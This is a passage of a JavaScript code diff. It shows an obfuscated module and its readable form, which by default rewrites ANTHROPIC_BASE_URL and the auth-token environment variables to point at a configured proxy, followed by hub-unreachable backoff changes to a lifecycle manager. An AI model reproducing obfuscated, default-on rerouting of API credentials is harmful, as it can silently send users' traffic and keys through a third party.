b\x48\x57\x51\x53','\x73\x66\x7a\x54\x73\x75\x56\x63\x53\x4c\x46\x63\x56\x61','\x6a\x53\x6f\x55\x57\x37\x42\x64\x4e\x32\x35\x4f\x74\x6d\x6f\x59','\x41\x53\x6b\x4d\x6b\x58\x56\x63\x49\x76\x2f\x64\x49\x47','\x63\x75\x4b\x33\x57\x51\x43\x64\x57\x4f\x6c\x64\x4d\x74\x38','\x57\x52\x38\x77\x57\x37\x64\x64\x4a\x57','\x73\x53\x6b\x4a\x75\x4e\x64\x63\x55\x53\x6b\x4b\x79\x38\x6f\x73','\x57\x51\x50\x52\x57\x50\x5a\x63\x48\x6d\x6f\x76\x6b\x71\x4c\x38','\x72\x57\x68\x64\x56\x43\x6b\x77\x57\x50\x61','\x6d\x57\x56\x64\x52\x48\x65\x69\x76\x61','\x41\x43\x6b\x4c\x57\x34\x70\x64\x4d\x38\x6f\x77','\x65\x38\x6f\x50\x67\x38\x6f\x71\x6d\x5a\x4e\x63\x4d\x68\x61','\x75\x38\x6b\x50\x72\x61','\x6c\x43\x6f\x48\x7a\x47','\x6a\x43\x6f\x52\x57\x52\x4a\x63\x47\x38\x6f\x75\x68\x67\x37\x64\x4d\x57','\x44\x38\x6b\x4b\x57\x36\x74\x64\x55\x6d\x6f\x2f\x57\x34\x57','\x57\x51\x6d\x77\x57\x36\x4a\x64\x51\x71\x4b','\x6a\x43\x6b\x49\x6d\x74\x2f\x64\x54\x71\x33\x63\x4b\x71\x69','\x73\x38\x6b\x51\x42\x53\x6b\x6f\x44\x32\x5a\x64\x47\x59\x5a\x64\x50\x49\x39\x69\x57\x34\x2f\x63\x50\x5a\x34','\x6a\x4b\x35\x6c\x41\x53\x6b\x57\x75\x43\x6f\x65\x57\x34\x57','\x57\x50\x31\x52\x57\x37\x53\x42\x57\x35\x6d','\x78\x53\x6f\x59\x6a\x76\x71\x43\x70\x6d\x6f\x33\x68\x53\x6f\x43\x76\x47\x57\x58','\x6b\x63\x53\x63\x6b\x63\x68\x64\x48\x64\x52\x63\x49\x4b\x4c\x79\x57\x36\x64\x63\x49\x74\x4b','\x67\x33\x33\x63\x54\x38\x6b\x68\x43\x53\x6b\x78\x75\x43\x6f\x65','\x71\x6d\x6b\x6b\x57\x4f\x61\x75\x78\x43\x6b\x2f\x57\x34\x74\x64\x49\x57','\x57\x52\x2f\x63\x53\x38\x6f\x51\x67\x6d\x6b\x50\x57\x36\x31\x47','\x57\x50\x43\x65\x61\x38\x6f\x56\x57\x50\x74\x64\x4f\x5a\x78\x63\x53\x48\x6a\x30\x57\x37\x52\x63\x4f\x61','\x57\x35\x68\x64\x4e\x38\x6f\x67\x45\x53\x6b\x61\x62\x38\x6b\x74\x75\x38\x6b\x72\x57\x50\x30\x58\x42\x67\x34\x65','\x57\x36\x68\x63\x52\x63\x50\x78\x44\x47','\x76\x6d\x6b\x34\x57\x35\x70\x63\x4b\x66\x47','\x57\x50\x39\x63\x75\x58\x66\x4f','\x57\x34\x4a\x64\x52\x65\x6a\x65\x57\x4f\x46\x64\x50\x47\x64\x63\x54\x61','\x67\x33\x33\x63\x51\x6d\x6b\x43\x44\x38\x6b\x42\x74\x43\x6f\x47','\x43\x73\x57\x70\x75\x53\x6f\x71','\x6d\x68\x4b\x36','\x57\x4f\x35\x30\x71\x49\x58\x41','\x57\x51\x7a\x7a\x79\x43\x6f\x2f','\x74\x53\x6b\x34\x46\x4d\x4a\x63\x49\x61','\x41\x6d\x6b\x54\x57\x35\x62\x53\x57\x35\x56\x64\x4b\x53\x6f\x77\x41\x57','\x61\x66\x30\x7a\x57\x37\x31\x6c\x57\x4f\x4c\x31\x76\x61','\x57\x4f\x72\x66\x78\x47','\x6a\x43\x6b\x49\x65\x61','\x79\x6d\x6b\x4f\x57\x37\x42\x64\x51\x38\x6f\x2b\x57\x34\x48\x31\x68\x71','\x66\x38\x6f\x2f\x57\x50\x68\x64\x4f\x58\x64\x64\x4c\x43\x6f\x55\x57\x52\x5a\x64\x4c\x43\x6b\x6c\x57\x50\x50\x50','\x42\x4e\x68\x64\x47\x61','\x57\x4f\x50\x77\x78\x59\x76\x69\x57\x34\x46\x64\x4f\x77\x43','\x71\x31\x70\x63\x52\x30\x50\x73\x57\x36\x76\x30\x57\x35\x79','\x76\x6d\x6f\x32\x57\x37\x6c\x64\x4e\x61\x79\x51\x70\x61','\x68\x53\x6f\x69\x57\x36\x4e\x63\x4f\x43\x6b\x51','\x6b\x53\x6f\x74\x61\x6d\x6f\x59\x62\x71\x65','\x72\x4b\x52\x63\x54\x57','\x67\x43\x6f\x63\x57\x51\x71\x6e\x57\x34\x42\x64\x51\x53\x6f\x61\x73\x63\x64\x64\x55\x71','\x66\x75\x64\x63\x4c\x53\x6f\x68\x6d\x47','\x79\x6d\x6b\x33\x57\x52\x5a\x64\x56\x53\x6b\x33','\x57\x35\x6d\x66\x57\x36\x78\x64\x56\x38\x6b\x4e\x77\x59\x4c\x4e\x6d\x48\x4e\x63\x49\x38\x6f\x4e','\x6d\x43\x6f\x4e\x57\x52\x69\x49\x41\x53\x6b\x77\x57\x37\x74\x64\x51\x57','\x6e\x4e\x31\x4d\x62\x53\x6f\x47','\x41\x78\x70\x64\x4d\x48\x4a\x63\x52\x71','\x6a\x38\x6b\x46\x64\x49\x33\x64\x4b\x61','\x43\x43\x6b\x6b\x57\x52\x37\x64\x4e\x43\x6b\x56','\x70\x43\x6f\x4a\x6b\x38\x6f\x59\x6b\x47','\x6b\x67\x38\x71\x57\x36\x66\x61','\x57\x51\x57\x62\x57\x35\x52\x64\x56\x38\x6f\x64','\x6b\x38\x6f\x73\x57\x36\x6c\x63\x52\x57','\x41\x43\x6b\x4f\x57\x37\x42\x64\x55\x43\x6f\x31\x57\x34\x50\x33\x6a\x47','\x57\x52\x37\x64\x4b\x53\x6b\x76\x7a\x6d\x6f\x58\x57\x4f\x39\x33\x57\x35\x50\x32\x57\x52\x4e\x64\x50\x76\x69','\x57\x50\x38\x78\x45\x53\x6b\x76\x57\x51\x4f','\x73\x38\x6b\x49\x6c\x72\x43\x56\x61\x6d\x6b\x68\x57\x50\x38','\x57\x52\x7a\x74\x43\x43\x6f\x4c\x6d\x49\x57\x2f\x57\x36\x65','\x63\x4b\x61\x74\x57\x37\x34','\x68\x53\x6f\x55\x57\x35\x2f\x63\x49\x53\x6b\x53\x73\x57\x66\x65','\x70\x76\x70\x63\x51\x43\x6f\x54\x67\x47','\x57\x37\x64\x63\x4f\x62\x79\x44\x57\x36\x30','\x46\x43\x6b\x57\x57\x51\x4e\x63\x4a\x4b\x72\x53\x79\x6d\x6f\x48\x57\x37\x68\x63\x4a\x57','\x72\x43\x6f\x48\x57\x37\x61','\x6b\x61\x64\x64\x50\x71\x43\x65\x74\x48\x69\x46','\x67\x30\x48\x45\x67\x38\x6f\x46\x57\x50\x53','\x7a\x4c\x42\x63\x52\x4b\x62\x68','\x6f\x43\x6f\x66\x72\x33\x61\x34\x64\x6d\x6b\x43\x57\x4f\x4c\x6b\x6a\x71','\x6f\x38\x6f\x76\x57\x35\x78\x64\x4e\x4d\x57','\x57\x37\x61\x75\x57\x35\x2f\x63\x53\x71\x56\x64\x52\x66\x56\x64\x49\x71','\x6c\x43\x6f\x2f\x45\x43\x6b\x44\x77\x38\x6b\x6b','\x57\x50\x69\x64\x64\x6d\x6b\x72\x57\x37\x33\x63\x4f\x64\x46\x63\x56\x47\x69','\x46\x6d\x6b\x66\x66\x59\x34','\x57\x36\x31\x4c\x46\x6d\x6b\x6e\x57\x36\x52\x63\x47\x73\x42\x63\x4e\x57','\x57\x35\x71\x67\x57\x36\x33\x63\x48\x6d\x6f\x68\x68\x72\x6a\x6b\x70\x61','\x6d\x68\x42\x63\x4c\x53\x6f\x6b\x70\x53\x6b\x42\x57\x4f\x78\x64\x53\x61','\x69\x43\x6f\x6c\x57\x4f\x46\x64\x55\x6d\x6b\x2f\x57\x50\x70\x64\x51\x38\x6f\x68','\x63\x53\x6f\x77\x57\x35\x70\x64\x54\x30\x58\x6d\x44\x53\x6f\x78','\x57\x34\x71\x6d\x57\x4f\x64\x63\x4d\x66\x78\x63\x56\x71','\x57\x52\x37\x64\x4e\x53\x6f\x59\x62\x4a\x75','\x64\x68\x38\x74\x76\x43\x6f\x33','\x57\x4f\x75\x57\x57\x35\x68\x64\x53\x62\x7a\x75\x69\x33\x75','\x66\x30\x5a\x63\x54\x6d\x6f\x39\x65\x53\x6b\x2f\x57\x51\x4e\x64\x4c\x57','\x57\x4f\x34\x59\x57\x35\x42\x64\x52\x58\x48\x75\x6e\x78\x43','\x41\x63\x4e\x63\x54\x43\x6f\x4d\x6e\x6d\x6b\x69\x57\x4f\x74\x64\x54\x47','\x6c\x4c\x5a\x63\x53\x6d\x6b\x37\x75\x53\x6b\x58\x42\x38\x6f\x51','\x69\x43\x6b\x2f\x64\x74\x70\x64\x56\x4a\x56\x63\x4a\x61\x61','\x62\x4b\x65\x39\x57\x52\x47\x6f\x57\x4f\x71','\x45\x38\x6b\x73\x68\x5a\x65\x64\x6a\x71','\x67\x53\x6f\x78\x57\x35\x2f\x64\x4a\x30\x4b','\x57\x34\x70\x63\x54\x74\x6a\x74\x7a\x72\x78\x63\x4f\x43\x6f\x77','\x67\x53\x6f\x32\x57\x34\x74\x63\x4a\x38\x6b\x2f\x76\x61\x35\x6d','\x73\x38\x6b\x6b\x57\x34\x64\x64\x48\x61','\x41\x6d\x6b\x43\x57\x36\x33\x63\x48\x4d\x2f\x63\x53\x38\x6f\x61\x57\x51\x34','\x79\x32\x33\x64\x54\x63\x78\x63\x53\x57','\x45\x53\x6b\x2f\x67\x5a\x79\x74','\x44\x4a\x31\x4c\x57\x4f\x65\x2f\x57\x36\x54\x5a\x79\x59\x34\x4a\x62\x32\x30','\x57\x52\x5a\x64\x47\x6d\x6f\x6e\x62\x47\x2f\x63\x4d\x38\x6f\x7a\x57\x36\x53','\x62\x30\x70\x63\x48\x38\x6b\x7a\x72\x61','\x79\x38\x6f\x2f\x76\x78\x70\x63\x53\x4c\x70\x64\x48\x57\x44\x54\x79\x47\x56\x63\x4b\x38\x6b\x31','\x44\x32\x2f\x63\x48\x73\x34\x74\x57\x4f\x38\x6e\x71\x47','\x6b\x64\x78\x63\x4e\x32\x33\x64\x4f\x6d\x6f\x64\x61\x6d\x6b\x54\x57\x4f\x4a\x64\x51\x53\x6f\x44\x75\x47','\x6f\x6d\x6f\x66\x57\x52\x35\x5a\x46\x53\x6b\x39\x67\x38\x6f\x64','\x68\x6d\x6f\x76\x57\x4f\x75\x31\x76\x57','\x7a\x68\x5a\x63\x4c\x33\x66\x4c','\x6e\x53\x6f\x4f\x75\x38\x6b\x53\x72\x38\x6b\x76\x7a\x6d\x6f\x55','\x68\x33\x57\x61','\x76\x49\x44\x6e\x70\x38\x6b\x4b\x57\x52\x6e\x78\x73\x47','\x72\x43\x6f\x77\x57\x51\x42\x64\x4a\x67\x4a\x63\x55\x77\x76\x66'];_0x502c=function(){return _0x41abea;};return _0x502c();}const {getProxyToken:_0x3f395b,getProxyUrl:_0x412616}=require(_0x10ea8e(0x110,'\x33\x5d\x51\x69')+_0x10ea8e(0xf2,'\x42\x68\x66\x30')+'\x73');function _0x53bc20(_0x38f503=process.env){const _0x3b45aa=_0x10ea8e,_0x76aa3e={'\x59\x41\x51\x73\x58':function(_0x5a5d7e,_0x3c2cf2){return _0x5a5d7e(_0x3c2cf2);},'\x72\x70\x76\x44\x78':function(_0x24117c,_0x4cda67){return _0x24117c===_0x4cda67;},'\x44\x59\x42\x54\x59':_0x3b45aa(0x105,'\x66\x58\x21\x54')},_0x404def=_0x76aa3e[_0x3b45aa(0x130,'\x4f\x4c\x51\x72')](String,_0x38f503[_0x3b45aa(0x125,'\x4d\x39\x69\x24')+_0x3b45aa(0xf9,'\x65\x6e\x28\x29')+'\x4f\x5f\x49\x4e\x4a\x45\x43\x54']||'')[_0x3b45aa(0xc1,'\x74\x48\x79\x64')]()[_0x3b45aa(0x118,'\x2a\x4f\x55\x72')+_0x3b45aa(0xe3,'\x54\x4c\x44\x79')]();return _0x76aa3e[_0x3b45aa(0xe0,'\x33\x5d\x51\x69')](_0x404def,'\x30')||_0x76aa3e[_0x3b45aa(0xc9,'\x54\x4c\x44\x79')](_0x404def,_0x3b45aa(0xe1,'\x59\x43\x5b\x59'))||_0x76aa3e[_0x3b45aa(0x131,'\x38\x35\x45\x5e')](_0x404def,_0x76aa3e['\x44\x59\x42\x54\x59'])||_0x404def===_0x3b45aa(0xf7,'\x33\x5d\x51\x69')||_0x76aa3e[_0x3b45aa(0x115,'\x51\x39\x25\x4e')](_0x404def,'\x6e\x6f');}function _0x14baf7(_0x2e53fb={},_0x588cc1=process.env){const _0x451c2c=_0x10ea8e,_0x266720={'\x47\x79\x74\x4b\x6a':function(_0x5e35df,_0x4d7ce7){return _0x5e35df===_0x4d7ce7;},'\x4f\x52\x6d\x79\x77':function(_0x4232bc,_0x590448){return _0x4232bc!==_0x590448;},'\x64\x4b\x55\x42\x47':function(_0x21820c,_0x2dd8af){return _0x21820c(_0x2dd8af);},'\x70\x4d\x72\x4f\x61':function(_0x4951c7){return _0x4951c7();},'\x76\x52\x6c\x66\x57':function(_0x2eebe7,_0x5ac636){return _0x2eebe7||_0x5ac636;},'\x4c\x53\x74\x4b\x42':_0x451c2c(0x11b,'\x4d\x39\x69\x24'),'\x63\x49\x4c\x58\x49':_0x451c2c(0x108,'\x67\x63\x48\x75'),'\x41\x68\x62\x63\x54':_0x451c2c(0xae,'\x24\x28\x59\x5a')+_0x451c2c(0xcf,'\x6c\x36\x67\x31')+_0x451c2c(0xba,'\x4f\x4c\x51\x72'),'\x72\x48\x65\x75\x73':function(_0x2d67fd,_0x503757){return _0x2d67fd!==_0x503757;},'\x4b\x77\x72\x61\x70':function(_0x267327,_0x55f843){return _0x267327===_0x55f843;},'\x55\x57\x43\x75\x44':_0x451c2c(0xbd,'\x47\x6d\x42\x24'),'\x4c\x58\x6a\x68\x6f':_0x451c2c(0xea,'\x7a\x4b\x24\x72')+'\x43\x5f\x41\x55\x54\x48\x5f\x54'+_0x451c2c(0xd5,'\x24\x28\x59\x5a'),'\x69\x7a\x4a\x6a\x72':'\x43\x55\x53\x54\x4f\x4d\x5f\x41'+_0x451c2c(0xd0,'\x2a\x26\x62\x50')};if(_0x53bc20(_0x588cc1)){const _0xb1fa29={};return _0xb1fa29[_0x451c2c(0xc4,'\x71\x6a\x36\x21')]=![],_0xb1fa29[_0x451c2c(0xc7,'\x5a\x76\x46\x4c')]=_0x451c2c(0x122,'\x24\x28\x59\x5a'),_0xb1fa29;}const _0x5c406e=_0x266720[_0x451c2c(0x134,'\x67\x67\x61\x74')](_0x588cc1,process.env)&&_0x266720['\x4f\x52\x6d\x79\x77'](_0x2e53fb['\x75\x73\x65\x53\x65\x74\x74\x69'+_0x451c2c(0x12a,'\x35\x31\x35\x46')],![]),_0x105ecd=_0x266720[_0x451c2c(0xb5,'\x71\x6a\x36\x21')](String,_0x2e53fb[_0x451c2c(0x124,'\x38\x35\x45\x5e')]||(_0x5c406e?_0x266720[_0x451c2c(0x12d,'\x42\x68\x66\x30')](_0x412616):'')||'')[_0x451c2c(0xfb,'\x65\x41\x55\x6b')](/\/+$/,''),_0x363eb0=String(_0x2e53fb[_0x451c2c(0x136,'\x44\x70\x4d\x44')]||(_0x5c406e?_0x3f395b():'')||'');if(_0x266720[_0x451c2c(0x132,'\x6c\x36\x67\x31')](!_0x105ecd,!_0x363eb0)){if(_0x266720[_0x451c2c(0xf8,'\x73\x70\x44\x73')](_0x266720[_0x451c2c(0x10c,'\x4e\x51\x5e\x39')],_0x266720['\x63\x49\x4c\x58\x49'])){const _0x524ec4={};return _0x524ec4[_0x451c2c(0xfa,'\x47\x6d\x42\x24')]=![],_0x524ec4[_0x451c2c(0x101,'\x77\x68\x4a\x53')]=_0x266720[_0x451c2c(0x128,'\x52\x58\x40\x63')],_0x524ec4;}else _0x129efa[_0x451c2c(0x11f,'\x58\x38\x26\x79')+_0x451c2c(0xd6,'\x51\x39\x25\x4e')+_0x451c2c(0xb2,'\x23\x6b\x30\x68')+_0x451c2c(0x120,'\x4d\x39\x69\x24')]=_0x57bca8;}const _0x777dd6=_0x266720[_0x451c2c(0xbb,'\x59\x43\x5b\x59')](String,_0x588cc1[_0x451c2c(0xb4,'\x52\x58\x40\x63')+_0x451c2c(0x117,'\x64\x6e\x7a\x45')+'\x52\x4c']||'')[_0x451c2c(0xfd,'\x67\x63\x48\x75')]()['\x72\x65\x70\x6c\x61\x63\x65'](/\/+$/,'');_0x777dd6&&_0x266720[_0x451c2c(0xd8,'\x74\x48\x79\x64')](_0x777dd6,_0x105ecd)&&!_0x588cc1[_0x451c2c(0x10b,'\x38\x29\x74\x57')+_0x451c2c(0xdf,'\x70\x25\x6b\x39')+_0x451c2c(0xe9,'\x51\x39\x25\x4e')+'\x4c']&&(_0x266720[_0x451c2c(0x114,'\x51\x44\x6c\x42')](_0x266720[_0x451c2c(0xd2,'\x47\x6d\x42\x24')],_0x451c2c(0xc8,'\x6a\x75\x23\x79'))?_0x52d196[_0x451c2c(0xd4,'\x52\x58\x40\x63')+_0x451c2c(0xeb,'\x29\x4a\x54\x52')+_0x451c2c(0xdd,'\x35\x31\x35\x46')+'\x4c']=_0x35a264:_0x588cc1[_0x451c2c(0xc6,'\x47\x6d\x42\x24')+_0x451c2c(0xc2,'\x59\x43\x2a\x48')+_0x451c2c(0x12f,'\x33\x5d\x51\x69')+'\x4c']=_0x777dd6);const _0x31a2c1=_0x266720[_0x451c2c(0x100,'\x63\x4c\x72\x4f')](String,_0x588cc1[_0x451c2c(0xe8,'\x4e\x51\x5e\x39')+_0x451c2c(0xf3,'\x59\x43\x5b\x59')+_0x451c2c(0xb3,'\x58\x38\x26\x79')]||'')[_0x451c2c(0x137,'\x52\x58\x40\x63')]();_0x31a2c1&&_0x31a2c1!==_0x363eb0&&!_0x588cc1[_0x451c2c(0xcc,'\x67\x63\x48\x75')+_0x451c2c(0xca,'\x67\x63\x48\x75')+_0x451c2c(0x106,'\x51\x79\x35\x50')+'\x4b\x45\x4e']&&(_0x588cc1['\x45\x56\x4f\x4d\x41\x50\x5f\x41'+_0x451c2c(0xcb,'\x71\x6a\x36\x21')+_0x451c2c(0xfc,'\x2a\x26\x62\x50')+_0x451c2c(0x104,'\x21\x4b\x34\x78')]=_0x31a2c1);_0x588cc1['\x41\x4e\x54\x48\x52\x4f\x50\x49'+_0x451c2c(0xe5,'\x74\x2a\x72\x5d')+'\x52\x4c']=_0x105ecd,_0x588cc1[_0x451c2c(0x126,'\x59\x43\x5b\x59')+_0x451c2c(0x11e,'\x44\x79\x24\x21')+_0x451c2c(0x11c,'\x23\x6b\x30\x68')]=_0x363eb0,_0x588cc1[_0x451c2c(0xb1,'\x74\x48\x79\x64')+_0x451c2c(0x129,'\x67\x67\x61\x74')]=_0x363eb0,_0x588cc1[_0x451c2c(0xed,'\x24\x28\x59\x5a')+'\x52\x4f\x58\x59\x5f\x55\x52\x4c']=_0x105ecd,_0x588cc1[_0x451c2c(0xef,'\x29\x37\x30\x69')+_0x451c2c(0xbe,'\x2a\x24\x4e\x30')+_0x451c2c(0xff,'\x5a\x2a\x30\x74')+'\x45\x44']='\x31';const _0x2c18e5={};return _0x2c18e5[_0x451c2c(0xd3,'\x51\x44\x6c\x42')]=!![],_0x2c18e5[_0x451c2c(0x11a,'\x58\x38\x26\x79')]=_0x105ecd,_0x2c18e5[_0x451c2c(0xf5,'\x44\x79\x24\x21')]=[_0x451c2c(0xce,'\x2a\x4f\x55\x72')+'\x43\x5f\x42\x41\x53\x45\x5f\x55'+'\x52\x4c',_0x266720[_0x451c2c(0x12c,'\x71\x6a\x36\x21')],_0x266720['\x69\x7a\x4a\x6a\x72'],'\x45\x56\x4f\x4d\x41\x50\x5f\x50'+_0x451c2c(0xfe,'\x21\x4b\x34\x78')],_0x2c18e5;}const _0x2a6958={};_0x2a6958[_0x10ea8e(0xb9,'\x77\x68\x4a\x53')+_0x10ea8e(0xbf,'\x66\x58\x21\x54')]=_0x14baf7,_0x2a6958[_0x10ea8e(0x103,'\x67\x67\x61\x74')+'\x65\x64']=_0x53bc20,module[_0x10ea8e(0x127,'\x29\x4a\x54\x52')]=_0x2a6958;
1
+ 'use strict';
2
+
3
+ const { getProxyToken, getProxyUrl } = require('./server/settings');
4
+
5
+ function isDisabled(env = process.env) {
6
+ const raw = String(env.EVOMAP_PROXY_AUTO_INJECT || '').trim().toLowerCase();
7
+ return raw === '0' || raw === 'false' || raw === 'off' || raw === 'none' || raw === 'no';
8
+ }
9
+
10
+ function injectProxyEnv(info = {}, env = process.env) {
11
+ if (isDisabled(env)) {
12
+ return { injected: false, reason: 'disabled' };
13
+ }
14
+
15
+ const useSettingsFallback = env === process.env && info.useSettings !== false;
16
+ const url = String(info.url || (useSettingsFallback ? getProxyUrl() : '') || '').replace(/\/+$/, '');
17
+ const token = String(info.token || (useSettingsFallback ? getProxyToken() : '') || '');
18
+ if (!url || !token) {
19
+ return { injected: false, reason: 'missing_proxy_settings' };
20
+ }
21
+
22
+ const currentBase = String(env.ANTHROPIC_BASE_URL || '').trim().replace(/\/+$/, '');
23
+ if (currentBase && currentBase !== url && !env.EVOMAP_ANTHROPIC_BASE_URL) {
24
+ env.EVOMAP_ANTHROPIC_BASE_URL = currentBase;
25
+ }
26
+ const currentAuthToken = String(env.ANTHROPIC_AUTH_TOKEN || '').trim();
27
+ if (currentAuthToken && currentAuthToken !== token && !env.EVOMAP_ANTHROPIC_AUTH_TOKEN) {
28
+ env.EVOMAP_ANTHROPIC_AUTH_TOKEN = currentAuthToken;
29
+ }
30
+
31
+ env.ANTHROPIC_BASE_URL = url;
32
+ env.ANTHROPIC_AUTH_TOKEN = token;
33
+ env.CUSTOM_API_KEY = token;
34
+ env.EVOMAP_PROXY_URL = url;
35
+ env.EVOMAP_PROXY_AUTO_INJECTED = '1';
36
+
37
+ return {
38
+ injected: true,
39
+ url,
40
+ vars: [
41
+ 'ANTHROPIC_BASE_URL',
42
+ 'ANTHROPIC_AUTH_TOKEN',
43
+ 'CUSTOM_API_KEY',
44
+ 'EVOMAP_PROXY_URL',
45
+ ],
46
+ };
47
+ }
48
+
49
+ module.exports = {
50
+ injectProxyEnv,
51
+ isDisabled,
52
+ };
@@ -5,7 +5,14 @@ const path = require('path');
5
5
  const { PROXY_PROTOCOL_VERSION } = require('../mailbox/store');
6
6
  const { buildEnvelope } = require('../envelope');
7
7
  const crypto = require('crypto');
8
- const { hubFetch } = require('../../gep/hubFetch');
8
+ const {
9
+ hubFetch,
10
+ hubUnreachableBackoffMs,
11
+ isHubUnreachableError,
12
+ readHubResponseJson,
13
+ readHubResponseText,
14
+ throwIfHubUnreachableResponse,
15
+ } = require('../../gep/hubFetch');
9
16
  const { getEvomapPath } = require('../../gep/paths');
10
17
  // last_update transit (PR #188): proxy heartbeat ferries a pending
11
18
  // force_update outcome to the hub, then clears the state file on 2xx.
@@ -372,6 +379,8 @@ class LifecycleManager {
372
379
  this._consecutiveReauthFailures = 0;
373
380
  this._driftInterval = null;
374
381
  this._lastDriftCheckAt = 0;
382
+ this._hubUnreachableFailures = 0;
383
+ this._hubUnreachableUntil = 0;
375
384
 
376
385
  // H4 fix: persist the legacy node_id file as soon as the in-memory
377
386
  // node_id is known, NOT only after a successful hello(). The original
@@ -508,6 +517,26 @@ class LifecycleManager {
508
517
  return headers;
509
518
  }
510
519
 
520
+ _hubUnreachableWaitMs() {
521
+ return Math.max(0, this._hubUnreachableUntil - Date.now());
522
+ }
523
+
524
+ _recordHubReachable() {
525
+ this._hubUnreachableFailures = 0;
526
+ this._hubUnreachableUntil = 0;
527
+ }
528
+
529
+ _recordHubUnreachable(err) {
530
+ this._hubUnreachableFailures += 1;
531
+ const retryAfterMs = hubUnreachableBackoffMs(this._hubUnreachableFailures);
532
+ this._hubUnreachableUntil = Date.now() + retryAfterMs;
533
+ this.logger.warn?.(
534
+ `[lifecycle] Hub unreachable; backing off for ${Math.ceil(retryAfterMs / 1000)}s: ` +
535
+ `${err && err.message || err}`
536
+ );
537
+ return retryAfterMs;
538
+ }
539
+
511
540
  async hello({ rotateSecret = false } = {}) {
512
541
  if (!this.hubUrl) return { ok: false, error: 'no_hub_url' };
513
542
 
@@ -517,6 +546,15 @@ class LifecycleManager {
517
546
  return { ok: false, error: 'hello_rate_limit_active', waitSec };
518
547
  }
519
548
 
549
+ const waitMs = this._hubUnreachableWaitMs();
550
+ if (waitMs > 0) {
551
+ return {
552
+ ok: false,
553
+ error: 'hub_unreachable_backoff',
554
+ retryAfterMs: waitMs,
555
+ };
556
+ }
557
+
520
558
  const endpoint = `${this.hubUrl}/a2a/hello`;
521
559
  const nodeId = this.store.getState('node_id')
522
560
  || _readLegacyNodeId()
@@ -539,8 +577,10 @@ class LifecycleManager {
539
577
  body: JSON.stringify(body),
540
578
  signal: AbortSignal.timeout(HELLO_TIMEOUT),
541
579
  });
580
+ await throwIfHubUnreachableResponse(res, 'lifecycle hello');
581
+ this._recordHubReachable();
542
582
  if (!res.ok) {
543
- const errData = await res.json().catch(() => ({}));
583
+ const errData = await readHubResponseJson(res).catch(() => ({}));
544
584
  const errMsg = errData?.error || `http_${res.status}`;
545
585
  if (res.status === 429) {
546
586
  const retryAfter = parseInt(res.headers.get('retry-after') || '3600', 10);
@@ -552,7 +592,7 @@ class LifecycleManager {
552
592
  return { ok: false, error: errMsg, statusCode: res.status };
553
593
  }
554
594
 
555
- const data = await res.json();
595
+ const data = await readHubResponseJson(res);
556
596
 
557
597
  if (data?.payload?.status === 'rejected') {
558
598
  this.logger.error(`[lifecycle] hello rejected: ${data.payload.reason || 'unknown'}`);
@@ -604,6 +644,15 @@ class LifecycleManager {
604
644
  this.logger.log(`[lifecycle] hello OK, node_id=${nodeId}${rotateSecret ? ' (secret rotated)' : ''}`);
605
645
  return { ok: true, nodeId, response: data };
606
646
  } catch (err) {
647
+ if (isHubUnreachableError(err)) {
648
+ const retryAfterMs = this._recordHubUnreachable(err);
649
+ return {
650
+ ok: false,
651
+ error: 'hub_unreachable',
652
+ detail: err.message,
653
+ retryAfterMs,
654
+ };
655
+ }
607
656
  this.logger.error(`[lifecycle] hello failed: ${err.message}`);
608
657
  return { ok: false, error: err.message };
609
658
  }
@@ -630,6 +679,7 @@ class LifecycleManager {
630
679
  }
631
680
  this._reauthInProgress = true;
632
681
  let manualResetRequired = false;
682
+ let hubUnreachable = false;
633
683
  try {
634
684
  for (let attempt = 1; attempt <= MAX_REAUTH_ATTEMPTS; attempt++) {
635
685
  this.logger.warn(`[lifecycle] re-auth attempt ${attempt}/${MAX_REAUTH_ATTEMPTS}: rotating secret via hello...`);
@@ -637,6 +687,17 @@ class LifecycleManager {
637
687
  if (!helloResult.ok) {
638
688
  this.logger.error(`[lifecycle] re-auth hello failed: ${helloResult.error}`);
639
689
  if (helloResult.error === 'hello_rate_limited' || helloResult.error === 'hello_rate_limit_active') break;
690
+ // Hub link is down (WAF HTML, network error, timeout) -- NOT an auth
691
+ // failure. Bail without arming the re-auth backoff: otherwise a
692
+ // transient outage that arrives mid-rotate would burn both attempts
693
+ // (attempt 2's hello short-circuits on the hub-unreachable window)
694
+ // and suppress genuine auth recovery for up to REAUTH_BACKOFF_MAX_MS,
695
+ // even though a JSON 401/403 retry would succeed once the hub is
696
+ // reachable again. The hub-unreachable window already gates re-entry.
697
+ if (helloResult.error === 'hub_unreachable' || helloResult.error === 'hub_unreachable_backoff') {
698
+ hubUnreachable = true;
699
+ break;
700
+ }
640
701
  if (typeof helloResult.error === 'string' && helloResult.error.startsWith('node_id_already_claimed')) {
641
702
  // Hub does not believe we own this nodeId. Our locally cached
642
703
  // secret(s) are useless. Drop them so attempt 2 retries WITHOUT
@@ -667,8 +728,19 @@ class LifecycleManager {
667
728
  // fire a second time anyway. Resetting the flag was misleading.
668
729
  return true;
669
730
  }
731
+ // Same as the hello path: if the verification heartbeat fails because
732
+ // the hub link dropped (not an auth rejection), defer without arming
733
+ // the re-auth backoff.
734
+ if (hbResult.error === 'hub_unreachable' || hbResult.error === 'hub_unreachable_backoff') {
735
+ hubUnreachable = true;
736
+ break;
737
+ }
670
738
  this.logger.warn(`[lifecycle] re-auth attempt ${attempt}: heartbeat still failing after rotate`);
671
739
  }
740
+ if (hubUnreachable) {
741
+ this.logger.warn('[lifecycle] re-auth deferred: hub unreachable (no re-auth backoff armed)');
742
+ return false;
743
+ }
672
744
  if (manualResetRequired) {
673
745
  this._emitManualResetNeeded();
674
746
  }
@@ -734,6 +806,15 @@ class LifecycleManager {
734
806
  // unchanged; only the boundary moved earlier.
735
807
  if (!this.hubUrl) return { ok: false, error: 'no_hub_url' };
736
808
  try {
809
+ const waitMs = this._hubUnreachableWaitMs();
810
+ if (waitMs > 0) {
811
+ return {
812
+ ok: false,
813
+ error: 'hub_unreachable_backoff',
814
+ retryAfterMs: waitMs,
815
+ };
816
+ }
817
+
737
818
  const nodeId = this.nodeId;
738
819
  if (!nodeId) {
739
820
  const helloResult = await this.hello();
@@ -798,9 +879,12 @@ class LifecycleManager {
798
879
  signal: AbortSignal.timeout(HEARTBEAT_TIMEOUT),
799
880
  });
800
881
 
882
+ await throwIfHubUnreachableResponse(res, 'lifecycle heartbeat');
883
+ this._recordHubReachable();
884
+
801
885
  if (res.status === 403 || res.status === 401) {
802
886
  this._consecutiveFailures++;
803
- const errText = await res.text().catch(() => '');
887
+ const errText = await readHubResponseText(res).catch(() => '');
804
888
  this.logger.error(`[lifecycle] heartbeat auth failed (${res.status}): ${errText}`);
805
889
  if (!_skipReauth) {
806
890
